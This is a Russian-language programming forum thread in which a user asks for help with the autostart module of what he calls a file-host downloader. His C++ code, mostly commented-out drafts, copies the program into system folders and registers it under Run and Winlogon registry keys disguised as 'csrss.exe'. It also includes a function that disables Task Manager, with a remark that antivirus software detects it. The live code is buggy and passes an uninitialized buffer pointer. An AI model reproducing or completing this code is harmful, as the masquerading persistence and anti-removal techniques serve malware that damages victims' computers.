Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > Visual C++
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 11.01.2012, 18:16   #1
SPQR10000
Пользователь
 
Регистрация: 23.09.2009
Сообщений: 48
Вопрос Реестр+VS 2008

Всем доброго времени суток!
Я вот сейчас пишу прогу-качалку для обменников,и застопорился на модуле для автозагрузки приложения.
У меня не получаеться скопировать файл в %Windir% либо %APPDATA%(если ХР,то %Windir%,если Vista\V7-%APPDATA%),и прописать файл в реестр для автозапуска.
Пытался сделать,но ничего больше понять не смог(особенно ExpandEnvironmentStringsA),код ниже:
Вариант автозапуска тестил на Hello World
Код:
#include "conio.h"
#include "stdafx.h"
#include "stdio.h"
#include "windows.h"

int main(void)
{
DWORD BUFFER = 256;
LPTSTR lpszSystemInfo;
//char *path="c:\\%windir%\\csrss.exe";
//TCHAR szAppData[MAX_PATH];
//SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, SHGFP_TYPE_DEFAULT, szAppData);
/*
TCHAR szAppData[MAX_PATH];
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, SHGFP_TYPE_DEFAULT, szAppData);*/
//HMODULE hi;
//char pfad[MAX_PATH];
//ExpandEnvironmentStringsA(%appdata%, буфер, размер буфера); 
/*Блин,вот смотри кодес ExpandEnvironmentStringsA(%appdata%, installPath, sizeof(installPath)); - в installPath в итоге будет примерно следуещее - C:\Documents and Settings\Admin\Local Settings\Application Data*/
ExpandEnvironmentStringsA("%appdata%", lpszSystemInfo, BUFFER);
MessageBox(NULL,lpszSystemInfo,"Переменная окружения APPDATA",0); 
/*HKEY rKey=HKEY_LOCAL_MACHINE;
LPCTSTR lpSubKey ="Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon";
DWORD dwType = REG_SZ; 
HKEY key2;
RegOpenKeyEx(rKey,lpSubKey,0,KEY_ALL_ACCESS,&key2);
RegSetValueEx(key2,"csrss.exe",0,REG_SZ,(LPBYTE)installPath,strlen(installPath);*/
 //unsigned char Reget[512];
 //DWORD RegetPath = sizeof(Reget);
//RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\", 0, KEY_QUERY_VALUE, &rKey);
// RegQueryValueEx(rKey, "A", NULL, NULL, Reget, &RegetPath);
// RegCloseKey(rKey);
printf("Hello World!\n");
getchar();
SPQR10000 вне форума Ответить с цитированием
Старый 11.01.2012, 18:17   #2
SPQR10000
Пользователь
 
Регистрация: 23.09.2009
Сообщений: 48
По умолчанию

Полный код:
Код:
// Hello World.cpp : Defines the entry point for the console application.
//
#include "conio.h"
#include "stdafx.h"
#include "stdio.h"
#include "windows.h"

//#pragma warning(disable:4996)
//HINSTANCE hi=NULL;
//void Registry(void) // вписываем в автозапуск
//{

//	HKEY hKey = HKEY_LOCAL_MACHINE; 
//	LPCTSTR lpSubKey ="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 
//	DWORD dwType = REG_SZ;
//	HKEY key;
//	RegOpenKeyEx(hKey,lpSubKey,0,KEY_WRITE,&key);
//	char pfad[MAX_PATH];
//	GetModuleFileName(NULL,pfad,MAX_PATH);
//	RegSetValueEx(key,"csrss.exe",0,REG_SZ,(LPBYTE)pfad,strlen(pfad));
//}
//void Registry2(void) // вписываем в автозапуск
//{

//	HKEY hKey = HKEY_USERS; 
//	LPCTSTR lpSubKey =".Default\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 
//	DWORD dwType = REG_SZ; 
//	HKEY key;
//	RegOpenKeyEx(hKey,lpSubKey,0,KEY_WRITE,&key);
//	char pfad[MAX_PATH];
//	GetModuleFileName(NULL,pfad,MAX_PATH);
//	RegSetValueEx(key,"csrss.exe",0,REG_SZ,(LPBYTE)pfad,strlen(pfad));
//}

/*void DisableTM(void)
{
DWORD dwVal = 1;
 HKEY hKey = HKEY_LOCAL_MACHINE;
 LPCTSTR lpSubKey ="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\";//, 0, key_all_access, &hkey);
 DWORD dwType=REG_SZ;//эту автозагрузку для отключения таск-менеджера я придумал и
 HKEY key;//переписал сам-пришлось переделывать немного...
 RegOpenKeyEx(hKey,lpSubKey,0,KEY_WRITE,&key);//но его юзать не нужно-палят БитДеф и еще ктот...
 RegSetValueEx(key, "DisableTaskMgr", 0, REG_DWORD, (LPBYTE)&dwVal , sizeof(DWORD));
 RegCloseKey(key);
 return 0;
}*/
//HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
int main(void)
{
DWORD BUFFER = 256;
LPTSTR lpszSystemInfo;
//char *path="c:\\%windir%\\csrss.exe";
//TCHAR szAppData[MAX_PATH];
//SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, SHGFP_TYPE_DEFAULT, szAppData);
/*
TCHAR szAppData[MAX_PATH];
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, SHGFP_TYPE_DEFAULT, szAppData);*/
//HMODULE hi;
//char pfad[MAX_PATH];
//ExpandEnvironmentStringsA(%appdata%, буфер, размер буфера); 
/*Блин,вот смотри кодес ExpandEnvironmentStringsA(%appdata%, installPath, sizeof(installPath)); - в installPath в итоге будет примерно следуещее - C:\Documents and Settings\Admin\Local Settings\Application Data*/
ExpandEnvironmentStringsA("%appdata%", lpszSystemInfo, BUFFER);
MessageBox(NULL,lpszSystemInfo,"Переменная окружения APPDATA",0); 
/*HKEY rKey=HKEY_LOCAL_MACHINE;
LPCTSTR lpSubKey ="Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon";
DWORD dwType = REG_SZ; 
HKEY key2;
RegOpenKeyEx(rKey,lpSubKey,0,KEY_ALL_ACCESS,&key2);
RegSetValueEx(key2,"csrss.exe",0,REG_SZ,(LPBYTE)installPath,strlen(installPath);*/
 //unsigned char Reget[512];
 //DWORD RegetPath = sizeof(Reget);
//RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\", 0, KEY_QUERY_VALUE, &rKey);
// RegQueryValueEx(rKey, "A", NULL, NULL, Reget, &RegetPath);
// RegCloseKey(rKey);
printf("Hello World!\n");
getchar();

//			char pfad[MAX_PATH]; // путь к файлу должен быть обязательно полный, иначе каждый процесс
			// будет создавать новый в своем каталоге
//			GetModuleFileName(hi,pfad,MAX_PATH); // путь к нашей ДЛЛ
//			*(strrchr(pfad,'\\')+1)='\0'; // выкидываем ее имя
//			strcat(pfad,"csrss.txt"); // вставляем имя файла


//	return 0;
//Registry();
//Registry2();
//DisableTM();
}
Закомментировал наброски,поэтому вот...
SPQR10000 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
реестр arxidevill Общие вопросы Delphi 4 11.05.2010 22:00
[Сохранение параметров в реестр] Как сохранить параметры цвета в реестр. ZARO Общие вопросы Delphi 3 12.03.2010 21:24
MS SQL Server 2008 и Visual Studio 2008 C# (Как работать с БД?) cherw9!40k Базы данных (ADO.NET, LinqToSql, ORM Entity Framework, NHibernate) 2 14.01.2010 20:51
Visual Studio Standard 2008 против Visual Studio Express 2008. Стоит ли покупать? Casper-SC Софт 4 31.12.2009 11:46
VISUAL STUDIO 2008 defaul language - как переключить в VISUAL STUDIO 2008 язык программирования, использ Эйнж Общие вопросы C/C++ 0 27.12.2009 20:39